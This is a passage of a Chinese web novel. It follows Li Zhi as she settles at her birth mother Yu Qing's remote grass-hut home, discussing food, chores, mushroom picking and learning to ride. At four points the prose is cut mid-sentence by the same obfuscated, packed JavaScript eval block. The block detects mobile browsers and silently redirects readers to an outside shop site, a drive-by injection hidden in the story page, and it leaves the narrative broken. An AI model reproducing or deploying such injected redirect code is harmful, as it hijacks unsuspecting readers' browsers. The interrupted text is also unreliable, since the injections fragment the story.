它只是乖乖地吃着、由黎芝的手拿过来的杂粮饼子而已。 虽然饼子质地并不软,但阿黄吃得很快,一会儿就吃完了。 阿黄似乎知道黎芝害怕它,没有做出舔舐黎芝的手表示亲热这种动作。 如果它做了这种事的话,黎芝多半会被吓得“灵魂出窍”吧。 但是,老实乖巧的阿黄,什么也没有做。 它吃完杂粮饼子之后,只是十分普通、平淡地趴了下来。 好像是吃饱喝足了就不想动的缘故,它懒洋洋地望着黎芝和余庆,一声不吭。 (这就算是结束了吗?) 喂狗的行为这么快就结束了,黎芝感到有些困惑。 “一张饼够吗?”黎芝紧张地问道,“妈妈,我还需要再喂它一张吗?” “不用这么惯着它。”余庆摇摇头,说道,“我平时都不怎么喂它的。” “这样一来,它就能记住我吗?”黎芝不安地问道,“下次再见面的时候,它不会咬我了吧?” “嗯,记得住的。”余庆微笑着说道,“你放心吧。没事的,它以后也不会咬你了。” 黎芝半信半疑地点了点头。 “那么,我现在……该做什么呢?”黎芝一如既往地紧张。 初来乍到这个完全不熟悉的地方,她做每一件事,都需要本地人、特别是母亲的协助与指引。 因为什么都不懂,所以不敢自作主张。 “选出你想要的屋子吧。”余庆又再说道,“选好之后,那 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376546|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就是你的房间了。” “那就……这个吧。”黎芝说道。 因为实在不知道该选哪个,她就选了从左往右数,第七个的草屋。 选择这个草屋,并没有特别的意图。 在黎芝看来,它看上去,与别的草屋也没有什么本质的分别。 要说有什么不一样的,那就是,它是“从左往右数的第七个空屋子”。 而黎芝喜欢的,又是“七”这个数字,仅此而已。 大部分人都喜欢“七”吧?自己并不特别。黎芝心想。 “那么,你现在可以、把你的行李拿到这个屋子里去了。”看到黎芝选好了自己要住的屋子,余庆就把黎芝的行李拿了出来递给她。 “谢谢妈妈,麻烦了。”黎芝说道。 自己确实有点麻烦余庆了,黎芝不由得这么觉得。 早知道这么快就会要自己选择住的地方的话,黎芝的行李都不会离手的。 虽然行李很重,但黎芝已经拎着它走了一炷香功夫,自然也不在乎再多走一段时间了。 “不麻烦的。”余庆建议道,“对了,趁着天亮,你现在就把你睡觉的地方铺出来吧?等天黑了,就不能看得那么清楚了。” “我们这里……晚上会点灯或是蜡烛吗?”黎芝试探性地问道。 虽然她心里对此不抱期望,但还是不由得想问一问。 如果有的话,生活肯定会方便得多;如果没有的话,那就算了。 “不点的。”余庆摇摇头,补充说道,“一般来说是不点的,但有时也可能点哦。” “这样啊。我知道啦。”黎芝点点头。 虽然有些失望,但也在意料之中,黎芝于是勉强接受了现状。 “荔枝啊。你是不是……对咱们家有什么误解?”余庆突然问道。 不知为何,就像是捕捉到了黎芝脸上的失望一样,余庆忽然流露出了严肃较真的态度。 这让黎芝很困惑,不知道余庆所说的“误解”指的是什么事情。 “啊?误解?”黎芝有些焦虑地说道,“妈妈你说的‘误解’是什么意思啊?我根本什么都没有说啊?妈妈怎么会认为我误解了什么呢?” “你……是不是觉得咱们家非常贫穷?”余庆认真地望着黎芝,又再追问道,“你是不是觉得咱们家家徒四壁,穷得揭不开锅啊?” 余庆的问题,让黎芝不知道该怎么回答好了。 她的确是这么认为的。 但是,这个认知,难道能用“误解”来形容吗? 莫非,这不是事实吗? 如果余庆拒绝认同这件事的话,那黎芝也实在……有种不知道该怎么沟通下去才好的感觉了。 余庆这一系列的问题,自己该怎么回答才好呢? 黎芝在心里斗争了很久,最终决定实话实说。 “是的。”黎芝说道,“我觉得我们家很穷。所以,我正在担心我待在这里,会给家里添麻烦。” 余庆望着黎芝,黎芝也紧张地望着余庆。 在黎芝看来,自己的母亲似乎正试着表现出亲切、令人安心的样子。 5. 第 5 章 但可能是因为,看惯了余庆的严肃一面的缘故吧?黎芝心里总觉得,余庆“表现”出的一面,感觉上就像在“表演”似的,而且效果很差。 这让黎芝多少感到有些尴尬。 不过,想到余庆也是为了拉近彼此的距离,黎芝又觉得自己或许应该高兴才对。 “我们家不穷的。”余庆很自信地说道,“至少,在这一带,我们家是富庶的人家噢。” “诶?这是真的吗……”黎芝无意识地提出问题。 尽管知道质疑别人、特别是自己今天刚刚谋面的母亲,这种行为是不怎么礼貌的,但根据自己的观察,黎芝实在很难说服自己相信“我们家是富庶的人家”这句话。 “妈妈不会骗你的哦。”余庆笑了笑,说道,“如果我们家很穷的话,我就会直接承认穷了。我们是一家人,骗你的话,对妈妈能有什么好处呢?所以,我干吗要骗你啊?” 真是这样就好了。黎芝半信半疑地想。 说起来,虽然余庆似乎想表现得像个温柔宽厚的母亲似的,但黎芝总觉得对方的笑容有些僵硬、不自然。 在这一点上,她真希望是自己看错了、想多了。 但转念一想,黎芝又明白了。 余庆会这么做,大概是因为,她真的很想尽快地让黎芝认同这个母亲、建立起亲子间的关系吧。 想到这个可能性,黎芝还满开心的。 “可是……”黎芝想了想,忍不住说道,“那么,咱们这里的人家,都是住草房的吗?” 听到黎芝的话,余庆的脸上并没有露出什么烦恼,而是流露出了困惑的神情。 “咦?你不喜欢草房吗?”余庆困惑地反问道。 余庆的困惑,感染了黎芝。 让黎芝也不由得困惑了起来。 难道说……草房子是一种很高级的建筑不成? 确实,现在的房子,几乎不存在由草建筑的房子了。 也许,某种意义上说,“物以稀为贵”也是合理的想法。 可是,如果说草房是一种很高级、或是很值得喜欢的屋子的话,自己怎么从来没有听说过别人对这个的向往呢? 黎芝实在对此感到非常困惑。 “不喜欢。”黎芝决定老实地回答,她说道,“我觉得草房不安全。容易被盗、还不结实,而且……冬天应该也不保暖吧?对了,草房是不是还很容易生虫啊?” “确实,这些听起来是客观存在的问题。”余庆说道,“但是我们这里民风淳朴,从来不丢东西。若是担心火灾的话,也没有必要。不论材料,该着火的怎么都会着火的,命运使然。虽然不结实,但是建造非常容易呢。因为我们没事就盖着玩儿,才会有这么多房子的。盖草房的时候,材料用到了艾蒿,一般的虫子也不愿意接近,可以说比木屋和砖房还要防虫。你还有什么担心的吗?说出来妈妈给你解释就好。” “我们家是靠什么生活的啊?”黎芝很紧张地说道,“?我想帮忙家里维持生计。我在家里可以做什么呢” “你会做什么?说说看。”余庆审视着黎芝,认真地说道,“什么都不会也不要紧。你只要不总吃山珍海味,不常穿绫罗绸缎的话,家里养你一个吃闲饭的姑娘是完全够用的哦。你不要有负担,虽然不能像过去那样当货真价实的大小姐,但是每天游手好闲地玩儿是没问题的。妈妈对你只有一个要求,别惹事生非,照顾好你自己,不要让我操心就行了。” 余庆的这番话,对黎芝真是意外地体贴。 让黎芝也不由得心里有些感动起来。 但正因为这样,黎芝反而更不愿意当吃白食的人了。 可是,黎芝还是不知道自己能做什么。 黎芝会做的事情,可多着呢。 但却没有什么事情,是确定在这里可以派上用场的。 比如说,黎芝曾经很喜欢烹饪。 但黎芝连给炉子生火、照顾炉火也很难做到。 这种事情,都是雇佣的仆人帮忙做的。 来到这里,黎芝甚至不知道自己有没有能力独自点燃火炉,更别提各种照顾火的细节了。 而且,这里与黎芝熟悉的情况,有些不一样。 黎芝虽然自己不会点火,但黎芝知道,烧火是用“煤炭”的。 富裕的人家,比如黎家,是用煤块、木炭等等烧火。 穷人家,是用碎煤粉做成的砖头型物体“煤坯”烧火的。 黎芝在这里没有见到煤炭,也没有见到煤坯,那这里是用什么烧火的呢? 难道是烧木柴或是干草、树叶的吗? 如果是这样的炉子的话,黎芝别说会点火了,连见都没有见过。 这样的设想让黎芝十分不安。 虽然她可以想办法学会,但这样一来,就不能说自己会“做饭”了,毕竟连点火都不会。 正是因为这样,黎芝对自己目前掌握的所有技能,都不敢开口吹嘘了。 但是,也不能说自己什么都不会啊……想到这种事,黎芝十分烦恼。 “我会剪纸。”黎芝思索了很久,才终于想到了一个自己的本事。 “你会剪纸?剪得好吗?”余庆听到黎芝的话,多少有了些反应,她问道,“是简单的剪纸,还是复杂的窗花?” “都行吧……”黎芝很紧张地说道,“但如果是复杂的窗花的话,我一天最多只能剪一个,剪多了眼睛受不了。” “那……你有时间的时候,剪一个给我看看吧。”余庆说道,“这手艺倒是很有用的一门手艺。但如果你眼睛受不了的话,也不要太操劳。” “嗯,好的。我记住了,妈妈。等我有空的时候,就给妈妈剪一些剪纸。”黎芝说道。 说罢,黎芝松了一口气,这算是多少证明了自己的价值吗? 话说回来……余庆要剪纸做什么呢? 黎芝望向眼前的这些草屋,又变得困惑了起来。 如果是窗花的话,那都是贴在窗纸上的装饰。 当然,也有些极有钱的人家,他们的窗户是由“玻璃”做成的。 玻 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376547|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 璃窗户透明又挡风,是完美的窗户材料。黎芝的养父母家里使用的,就是这样的门窗。 玻璃窗户也可以贴窗花,但没什么必要。清澈透明的玻璃,本身就是最美丽的装饰品了。 而这些草屋的存在,就非常尴尬了。 草屋也是有窗户的。 但是,这种窗户只是用草编织起来的“窗扇”与“空洞”的组合而已。 虽然可以开合,但全靠空洞来透光,并没有能贴着窗纸的地方。 这样一来,就算有窗花,也根本没有地方可以贴啊。 余庆并不知道黎芝的烦恼,她试图继续关心黎芝的事情。 “你喜欢吃什么?”余庆问道,“对了,你不吃什么?” “我不吃……我不愿意吃剩饭可以吗?”黎芝的脸红了起来。 她讨厌吃剩饭,但如果真的只能吃剩饭的话,也不是完全不能吃。 “可以的。”余庆笑了笑,说道,“谁喜欢吃剩饭啊。我也不喜欢吃,我们一家人都会尽量避免剩饭的。放心吧。” “那太好了。”黎芝松了口气,至少自己最讨厌的常见食物,在此可以回避过去了。 “你还有什么不吃的东西?”余庆又问道。 “我不吃臭的东西。”黎芝说道,“比如臭豆腐之类,我不喜欢。” 黎芝家本来也基本上不吃这种东西的,不过黎芝很担心自己的新家人会喜欢吃这种东西。 “那个我们也不吃。”余庆想了想问道,“你吃酸菜、泡菜和咸菜吗?如果不吃这些东西的话,可能会稍稍让做饭的人有些困扰呢。” “这个……我不知道。”黎芝说道,“基本都是我没吃过的东西。我不知道自己能不能吃。” “你吃豆瓣酱吗?”余庆又想了想,问了另一个问题。 “这个……一定要吃吗?”黎芝说道,“如果可以选择的话,我希望吃盐或是酱油。” “不是必须要吃,但有时会吃。”余庆说道,“不过要等到快冬天才能吃呢。” “这么久吗……”黎芝说道,“那,到时再说吧。其实,很多东西是我没吃过、甚至连见也没有见过的,所以能不能吃,我自己也不太清楚。” “我知道了。那么,你喜欢吃什么呢?”余庆说道,“虽然不一定能满足你的需要,但做饭的时候,我会尽量注意一些的。大家的喜好调和在一起,互相迁就之后,我才能知道能不能给你做喜欢吃的东西。” “我……我喜欢吃蘑菇。”黎芝回答道。 她想了半天,觉得蘑菇应该是这里比较容易获取的、而自己又喜欢吃的东西。 如果说自己喜欢吃这个的话,应该不会给人带来困扰吧? “你喜欢吃蘑菇?”余庆很惊讶地问道。 “是啊……不行吗?”黎芝紧张地说道,“我不太清楚,如果不能的话就不用在意我的喜好啦。” “当然不是不行了。”余庆像是如释重负一般地说道,“这里春、夏、秋的时候,蘑菇漫山遍野哪里都是,多得很呢!” 6. 第 6 章 “好厉害啊。”黎芝真诚得近乎懵懂地说道,“我还没见过长蘑菇的地方呢。妈妈下次采蘑菇的时候,可以带上我吗?” “也不是不可以……但是,你认识蘑菇吗?”余庆看向黎芝,有点犹豫地说道,“如果是不熟悉蘑菇的人出手的话,可能会采到‘毒蘑菇’哦。那是很麻烦的东西,中毒的话,可是会死人的。” “不认识。”黎芝顿时没精打采起来,她软弱地说道,“但我可以学啊。而且,在没学会辨认蘑菇之前,我不会采蘑菇的。” “以后再说吧。”余庆摇摇头,似乎很无奈地说道,“这个也不算是非常容易学会的知识。而且,能采到蘑菇的地方,距离这里是很远的,我带你去采蘑菇的话,也有些麻烦。” 关于蘑菇的知识,真的很难学习吗……黎芝对余庆的话半信半疑。 以前在京城的时候,黎芝可是认识两百多种花花草草的人呢。 虽然,蘑菇与花草,在形态上不太一样,知识上也并不共通。但是,本着“触类旁通”的规则,黎芝觉得自己应该也能学会辨认蘑菇才对。 说到两百多种花花草草…… 黎芝忽然又想起自己的一门本事了。 “对啦,我会种花草!”黎芝兴高采烈地说道,“我在以前的家、自己的院子里,种了好多品种的花花草草呢,都长得很好哦。” “真的吗?”余庆看向黎芝,问道,“你会种什么?” “常见园林植物的话,一般都种过吧。”黎芝略带自傲地说道,“我最喜欢种芦荟了。” “那是什么?”余庆有些困惑地问道。 余庆居然不知道“芦荟”这种植物,这点倒是黎芝没想到的。 因此,余庆不解地望向黎芝,像是完全不知道对方所说的“芦荟”是什么东西一样。 黎芝的脸红了起来,她有些难堪。 “‘芦荟’是一种肥厚的植物……也可以吃的,不过不算太好吃。”黎芝有些尴尬地说道,“但它最让我喜欢的一个优点,是‘涂抹在身上可以治疗伤口’这一点了。类似烧伤烫伤,或是刀伤,抑或是疙瘩、虫咬之类的伤,‘芦荟’都可以治疗,而且疗效很不错哦。” 余庆注意地听着黎芝的话。 她看起来对黎芝口中的“芦荟”不是很感兴趣,但对黎芝谈论自己对“芦荟”的了解却是相当关心。 “你会种菜吗?”余庆认真地问道,“我们这里最需要的,就是擅长种菜的人了。” “我没种过。但这种工作,我应该做得来的。”黎芝想了想又再说道,“我还可以种一些瓜果之类的东西。如果妈妈需要的话,我甚至明天就可以开始种植。” “就这么说定了。”余庆很安心地说道,“我们家的人不擅长种植,种什么都长得不好。听说这是运气不行的体现,会种植各种东西的人,在我们这里被认为是有福气的人,很受欢迎的呢。” “应该跟运气没有关系吧……”黎芝半信半疑地说道,“我觉得,我的运气也很一般啦。” 说到这里,黎芝禁不住停下来想了想。 自己的运气,算是很一般吗?也许吧。 虽然并不是特别好,但黎芝回想了一番,也没有感觉到特别一般。 毕竟,出生之后就被富豪之家养大,应该算是很幸运的事情了。 可惜的是,与自己一起生活了很久的“家人”并不是真正的家人。 但一想到,现在可以和自己真正的家人一起生活,就觉得其实也不是那么值得可惜的事情就是了。 那应该就是……中等偏上的程度吧?比上不足,比下有余啦。 “那么,能和这样美丽活泼的女儿一起生活,大概是我们家的幸运吧。”余庆似乎在夸奖黎芝,但总觉得她的夸奖缺乏些许干劲。 大概是因为,余庆这个人,太过于习惯严肃了吧? “谢谢妈妈这么说。”黎芝露出一个轻柔的笑容。 黎芝觉得,自己已经快要渐渐习惯余庆的这种性格了。 虽然还是觉得有些怪,但习惯了的话,应该就感觉还不错吧。 “不用谢。你还有什么想问的事情吗?”余庆好像忽然变得焦急了起来,她说道,“要问什么就快问吧,因为我很快就要走了。” 黎芝被余庆的话吓了一跳。 本来就没有整理好该问的问题,余庆再这么一催促,黎芝更是连本来记得的问题都忘记了。 突然被留在陌生地方的慌张感,让黎芝一时乱了阵脚。 “什么……为什么妈妈突然要走啊?”黎芝不安地说道,“妈妈不要离开我啊。我一个人待在这种人生地不熟的地方,会很害怕的……如果妈妈要离开这里的话,请带上我好吗?” “我去别人家‘要’点东西。”余庆看着黎芝,思索片刻后说道,“你会骑马吗?如果你会骑马的话,我就可以带上你一起去。” “不会。”黎芝很沮丧地回答道,“这个,好学吗?” “这我不好说。看人吧。”余庆说道,“有的人一下子就学会了。有的人怎么都学不会。” 黎芝听了,心里一凉。她郁闷得几乎要哭出来了。 “那么……我今天应该是学不会了吧。”黎芝十分悲观地答道。 虽然,刚才说出的那句话,听起来就已经很悲观了;但是,在黎芝心里,真实情况比那还要悲观。 自己也许一两个月都学不会,这是很可能的。正是因为可能性是如此之大,黎芝才格外担心。 “一下午你肯定学不会。”余庆点点头,又摇摇头,无奈地说道,“别说一下午了……我说句难听的话吧,瞧你那娇滴滴的样子,就算好几天你也未必能学会啊。” 余庆的这个评价,对黎芝造成了一定的打击。 虽然余庆说是“难听的话”,但黎芝其实很清楚,余庆的评价,已经是尽量委婉的口气了。 对黎芝来说,能用十天半个月的时间,学会骑马就不错了。 “也许,骑马对我来说确实是很难的 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376548|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 事情吧。”黎芝虽然有些伤心,但仍很老实地说道,“但是,妈妈,我真的会努力学骑马的。” “那你一定要把‘骑马’这件事放在心上啊。你最好快点学会骑马。”余庆严肃地说道,“在这里,如果不会骑马的话,可是寸步难行啊。” “我明白了。”黎芝点点头,乖巧而又坚定地说道,“我一定会尽快学会骑马的!” 这段对话,听起来像是黎芝在敷衍余庆。 但在黎芝这一边,她确实是、非常认真地这么想的。 之前,从大路来到这一片草屋的时候,黎芝虽然花了很长一段时间才走过来,但倒是没想太多。 但是,听到余庆说自己要去别人家“要”点东西的那一刻,黎芝突然察觉到了危机所在。 这里,和京城的生活环境实在太不一样了。 京城是个非常适合步行的地方。 虽然,黎芝在京城待着的时候,也不会去太远的地方,而通常只是在家附近行动罢了。 但这么做,恰恰和京城生活的“状态”有关。 在京城生活的时候,衣食住行,都可以在自己所居住地区的附近解决。 在京城,即使是实际面积很小的地方,也通常是“麻雀虽小五脏俱全”的状态。 “去远处”与“在近处”,能获取到的商品与服务,其中的区别虽然不能说是非常小;但对一般人来说,也没有大到,要“特意出远门来获取自己最需要最偏好的东西”的程度。 无非是,“家附近的馄饨,没有十里之外的某家馄饨馆的馄饨好吃”,这样的差别而已。 虽然黎芝算是非常偏好美食的人,但比起“馋”,她更加倾向于“懒”。 因此,就在家附近行动,吃不那么好吃的东西,买做工不那么精致的衣服,对黎芝来说已经够了。 这就是,“京城生活”的便利表现了。 因为生活便利,商品琳琅满目,因此也格外适合步行。 每次逛街的时候,都可以看到无数商品、小吃与商铺,人与环境的交互性非常好。 而这里,就简直完全不一样了。 这里的地名,全名应该是“大辉山”。 这里的全名,虽然是“大辉山”这个名字,但因为三个字有点难叫的缘故,所以一般略称为“辉山”。 “辉山”地区,距离京城是很远的。 并没有达到“边境”的程度,但确实有些偏僻了。 对于在京城生活惯了、也不喜欢出远门的黎芝来说,这种“偏僻”尤其让她难以适应。 虽然,黎芝从京城来到这里之前,就已经对此有过充分的想象了;但实际来了,她才发现,这里其实比自己想象中的情况还要糟糕一些。 人烟罕至,倒还是小事。 涉及到黎芝认知盲区的是,这里的每个“家庭”,竟然可以说相当于一个“聚居点”。 “家庭”之间的距离,虽然还没有到“孤家子村”的程度,但也是相当远了。 7. 第 7 章 无论是家庭与家庭之间,还是家庭与商铺之间,距离太远都是一件令人不太舒服的事情。 因为远,就意味着从此家到彼家时,拜访的过程,会相当困难、耗时。 而且,距离远还只是比较小的麻烦;更大的麻烦是“荒凉”。 在京城,从此地到彼地时,就算实际距离比“辉山”地区的此家与彼家之间,还要远很多,步行的体验依然是远远优于在“辉山”地区步行的。 因为,在京城步行的时候,随时随地都能够看到许多人与各种场景。 如果嘴馋的话,这一路上还能一直吃吃喝喝。 步行的时候,时刻都在接收大量信息,基本上是不会感到无聊的。 但在“辉山”这个地方步行的话,感觉就完全不一样了。 住在“辉山”的人,在家之外的地方行走的时候,看到的应该都是无穷无尽的草木吧。 而且,还是以草为主。 同样用一炷香左右的时间步行的话,在京城,沿途可以看到很多很多的东西用于解闷。 但在“辉山”步行时,却只能看到绿色、黄色、灰色的茫茫草原而已,体验极差。 不仅如此,京城虽然人多,但治安却是肉眼可见的出彩。 也许,就是因为人多的关系吧?所以,每一双眼睛都有机会发现罪犯或危险分子。 这样一来,罪犯或者危险分子的“犯罪成本”就很高了。 因为很容易被抓到,所以恶人会更忌惮一些,因此,犯罪率也就自然下降了。 这种“在这里犯罪的成本很高”的观念一旦普及,就会让所在地成为一个相对来说十分安全的地方。 但“辉山”却是明显不同,这里的人实在太少了,就算出点什么大事,也很难被察觉。这样一来,情况大概会相当麻烦。 这并不是说“辉山”这边的人素质较差、或是犯罪率高的意思。而仅仅意味着对“辉山”来说,荒郊野外的地方太多了,相比之下,出门恐怕会比较危险而已。 想到这些麻烦的事情时,黎芝已经预感到,如果她今后想去别人家串门的话,靠步行来移动应该是相当不现实的。 真的就像余庆刚才说的那样…… 不会骑马的人,在这里恐怕会“寸步难行”吧。 这样一想,自己之前提到“采蘑菇”时,余庆感到为难的原因,黎芝也更加明白了。 意识到这一点,黎芝不可能不感觉到焦虑。 (必须尽快学会骑马!) 危机感,让黎芝深刻地如此认为。 黎芝正在思考“辉山”地区的移动问题的时候,余庆却已经准备离开了。 “虽然有点仓促,但我要先走了。”余庆说道,“你可以在这里看家吗?” “啊?我看家?”黎芝惊讶极了,她说道,“虽然,我是相信‘妈妈就是我的妈妈’的,但我们认识的时间,只有一炷香功夫多一些啊?妈妈就这么信任我了吗?如果我并不是妈妈的女儿,我偷了家里的东西逃走,该怎么办才好?” 黎芝的这番话,说得有点凌乱。 她其实是想说,自己恐怕胜任不了“看家”这个任务,但又不好意思直接承认这一点。 结果,就变得这么凌乱奇怪了。 但余庆似乎并没有听懂黎芝的意思。 “我当然信任你啊。”余庆说道,“第一,如果你不是我们家的孩子的话,那你又怎么会知道,我们家近期有个女儿要回家呢?太碰巧了吧?” 这个问题有点难,黎芝想不出来。 但想不出来不等于无法回答,只能说,证明黎芝不够聪明而已。 真令人有些伤感。 “大概是巧合吧。”黎芝回答道,“可能,‘她’有特殊的渠道,可以知道这个情报。而且当她知道这个情报后,‘她’就疯狂赶了过来,想要蒙蔽妈妈哦。” 黎芝就这样,编了一个荒诞的猜想出来。反正,连她自己都不信。 “听起来倒是有点儿道理……”余庆若有所思地说道,“那么先不说这个,来说第二条,我们家虽然不是很穷,但却地处偏远,物资并不丰富。这种情况下,‘她’会打算偷什么呢,我们家又没有什么值钱的东西。” “破家值万贯。丢一把柴火就没烧的。”黎芝摇了摇头,说道,“而且,价值这个东西,本就因人而异嘛。虽然,在妈妈眼里,可能是很平凡、没什么价值的东西,但是有可能对小偷来说,就是很有用、很值钱的东西了嘛。” “有道理。”余庆似乎认同了黎芝的判断,她点了点头,说道,“真有道理。为什么你所说的话听起来都这么有道理呢?” 这种事,就连黎芝本人也不知道。她觉得,是余庆太擅长美化自己的女儿了。 “可能因为我比较习惯于观察与思考吧。”黎芝苦笑着说道,“遇到这种情况,我都会先推测一下悲观的可能性,然后才推测除此之外的可能性。” “嗯,虽然不一定正确,但你的想法很有趣。”余庆又点了点头说道。 “然后,我还想说。我只是一介弱女子,如果真的有人来盗窃甚至抢劫的话,我也拦不住他们啊。”黎芝紧张地说道,“如果这附近真的有坏人的话,我只能作为目击者见证这一切而已。看家的意义何在?真的有什么必要这么做吗?我觉得,我自己只负责做一些事件的‘见证’而已……” “那结果确实是不太有意义。”余庆摇摇头,然后忽然笑了一下,她说道,“你搞错了,‘看家’并不是真的要你守护家里什么东西啦。所谓的‘看家’只是‘在家里休息’的同义词而已啦。我让你看家的意思,就是让你在家里多休息放松一段时间,除此之外的事情,暂时也用不着你操心。” “原来是这样啊。”黎芝这才多少弄明白了余庆的用意,她说道,“那么,我知道了,谢谢妈妈。” “嗯,就是这样。”余庆点点头,说道,“既然这样,你就先在屋子里休息 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13376549|141028||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 吧。或是另外找一个地方休息也可以。我要走了,会尽快回来的。” 要和才刚见面的母亲分别,这让黎芝感到不安和恋恋不舍。 但她不能任性去阻止这件事,就只能让“一定要快点学会骑马”的决心更为坚定而已。 “等等。”黎芝很纳闷地问道,“妈妈是要骑马出门对吧?可是,我没有在这附近看到过马的存在啊?” “没错,就是你说的那样。”余庆很自然地说道,“马不在这里,在更远的地方养着。” “那……妈妈是要步行到远处才能骑马吗?”黎芝猜测着问道。 黎芝觉得自己的猜想乍听起来很靠谱,但有一件事令人感到费解。 为什么家附近没有马呢? 这样一来,岂不是要步行到很远的地方,去和马会合吗? 在这种地方,即使只是步行很短的距离,也是很难受的。 如果马被养在遥远的“马场”里的话,那去找马的过程,一定很累、很不方便吧。 因为,这样的生活习惯,感觉上是不合理的……所以,黎芝认为,自己的想法,有某种破绽或漏洞,她只是一时找不出来问题所在而已。 这也是没办法的,毕竟,黎芝以前从来没有在“辉山”这样的地方生活的经验。 弥补认知盲区这种事情,是很难凭空就考虑得周到完善的。 似乎是对黎芝的设想感到有趣,余庆笑了起来。 “用不着这样。”余庆愉快地说道,“我们家的马是不拴绳的哦。它们认识家。需要骑马的时候,它们自己就会回来的。” 这更加让黎芝困惑起来。 “它们自己就会回来的?”黎芝问道,“如果是在傍晚之类的时间,基于习惯和规律,按时间回家,我还可以理解。只是想骑马的话,它们怎么能自己回来呢?” “你猜呢?”余庆有些促狭地说道。 (这怎么能猜得着?一点线索和提示都没有)。 黎芝又完全不懂牧民的生活。 只是知道一些非常简陋浅薄的知识的话,那和完全不知道也没有本质的区别。 黎芝很快就选择了放弃。 “我猜不到。”黎芝摇摇头,无奈地说道,“我对关于马的事情,基本是完全不懂的呢。” “真没劲。又不是非要猜中不可。你象征性地猜一猜也是好的。猜不中又不丢人。”余庆有些失望地说道,“看你像是满喜欢思考的类型,怎么一到了真的需要思考的时候,就完全不愿意动脑子了呢。” “因为确实没有头绪啊。而且……”黎芝十分委屈地答道,“妈妈至少应该给我一点点提示才对。这样凭空猜测的话,实在是猜不到嘛。” “给你提示的话,就直接猜到了。和公布答案没有什么区别了。”余庆摇摇头,流露出很失望的神情,说道,“如果你能猜到是最好的,猜不到的话,那就算了。我做给你看吧。怎么样,你还要试着努力猜一下吗?” 8. 第 8 章 “等一下。”黎芝轻声说道,“妈妈,让我再想想……” 随即,黎芝沉思起来。 (如果给我提示的话,就能直接猜到。和公布答案,没有什么区别……) 黎芝咀嚼着余庆的话。 一些“可能性”与“猜测”的碎片,在她的心中模糊地闪过。 这些碎片的信息,实在太过于零碎与模糊,以至于,黎芝很难重新把碎片组合成有意义的内容。 (总之,至少能明白,真相应该是非常简单的。是只要给了提示,就能立刻猜到的程度吧?不过,妈妈真的确定,一个完全不懂这方面事情的人,会仅仅因为有了提示就立刻猜到吗?) 一开始,黎芝认为余庆的话语可以作为线索,作为参考进行推测的。 但用心思考一番后,黎芝又觉得,余庆很可能误解了这道题的难度。 算了,看来只能自己随便乱猜了。 就算认真去“推理”,这种事情上的准确率,多半也不会比单纯的“乱猜”高到哪里去的吧? 至少,黎芝是这么认为的。 “是通过‘声音’来联系马儿的吗?”再度思索、整理线索后,黎芝试探性地问道,“那种驯养得好的马,是不是……只要听到对它的呼唤声,就会立刻放弃当时关注的事情,急急忙忙地跑过来呢?” 总觉得,自己的这个猜想有明显的漏洞。黎芝在心里是这么想的。 比如说,如果呼唤不在眼前、待在远方的马的话,呼唤者的“中气”需要多么充足才能做到啊? 能够喊来远方的马的人,声音一定很嘹亮吧? 虽然,余庆的声音,在黎芝看来,也是十分洪亮、中气十足。 但是,总觉得,和“声如洪钟”这种程度的响亮还是有差距,很难想象可以唤来远方的马匹。 不过,也许黎芝搞错了,并不需要那么大的声音也能唤来马儿。 如果马儿真的可以靠人声唤来的话,等下是不是就可以看到自远处赶来的“奔马”了? 黎芝不由得期待起来。 虽然对骑马暂时一窍不通,但只是远远地看着马群的话,黎芝应该还是有兴趣的。 “嗯,这个我可以算你对了。不错嘛。”余庆点了点头,赞赏地说道,“看来,你还是挺有脑子的。并不是那种‘四体不勤五谷不分’的、单纯的笨蛋大小姐呢。” (只是猜到了这种事情而已,就能算“挺有脑子的”了?妈妈对“有脑子”的标准是不是太低了啊?而且……我看起来像笨蛋大小姐吗?) 黎芝抿着嘴。她感到有些委屈,但并不打算辩解。 “那……妈妈要呼唤马儿过来吗?”黎芝想了想,很是期待地问道。 这会儿,黎芝又想到一件令她有些在意的事情。 马能听懂人类的呼唤吗? 